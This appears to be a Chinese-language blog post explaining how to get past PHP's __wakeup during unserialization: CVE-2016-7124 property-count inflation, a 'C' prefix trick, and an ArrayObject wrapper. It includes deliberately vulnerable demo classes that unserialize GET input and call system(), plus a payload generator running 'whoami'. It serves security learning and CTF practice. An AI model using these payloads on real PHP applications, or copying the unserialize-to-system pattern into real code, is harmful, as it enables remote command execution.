Bypass: __wakeup绕过

发布时间 2023-09-11 18:52:07作者: Icfh

关于这个问题,首先得先考察php版本

CVE-2016-7124

php作用版本:

php5 < 5.6.25

php7 < 7.0.10

具体来说就是当序列化中的字符串的对象属性个数多余真实的属性个数时,会绕过__wakeup

比如这个例子:

O:4:"demo":1:{s:1:"a";b:1} ===> O:4:"demo":2:

C绕过

对象字符串空属性测试

C方法绕过适合空属性的对象字符串,以下测试demo在php5、7、8均测试过,均有以下情况

一个测试demo:

<?php
class demo{
    public $a = true;

    public function __wakeup(){
        echo "wakeup"."<br>";
    }

    public function __destruct(){
        echo "destruct"."<br>";
    }


}
unserialize($_GET['a']);
  • 正常的反序列化过程

image-20230911104741288

  • C绕过而且对象字符串有属性

发现__wakeup__destruct均没有执行

image-20230911104850492

  • C绕过而且对象字符串没有属性

发现绕过了__wakeup,并且__destruct得以执行

image-20230911104927372

需要利用对象属性进行恶意代码执行的方法

比如这个测试例子,如果要执行__destruct函数中的system函数,必然要使用到对象属性a

<?php
class demo{
    public $a;

    public function __wakeup(){
        echo "wakeup"."<br>";
    }

    public function __destruct(){
        echo "destruct"."<br>";
        system($this->a);
    }

}

解决方案是使用内置类绕过,参考愚人杯的题目:https://www.yuque.com/boogipop/tdotcs/hobe2yqmb3kgy1l8?singleDoc#

Payload生成:

class demo{
    public $a;

    public function __wakeup(){
        echo "wakeup"."<br>";
    }

    public function __destruct(){
        echo "destruct"."<br>";
        system($this->a);
    }
}

$demo = new demo;
$demo->a = "whoami";
$arr = array("evil"=>$demo);		
$oa = new ArrayObject($arr);
$res = serialize($oa);						// 在序列化时 ArrayObject对象会被序列化  其属性array数组也会被序列化
echo $res;

测试版本为 php5<= 5.5.9 成功

参考链接

  1. https://fushuling.com/index.php/2023/03/11/php反序列化中wakeup绕过总结/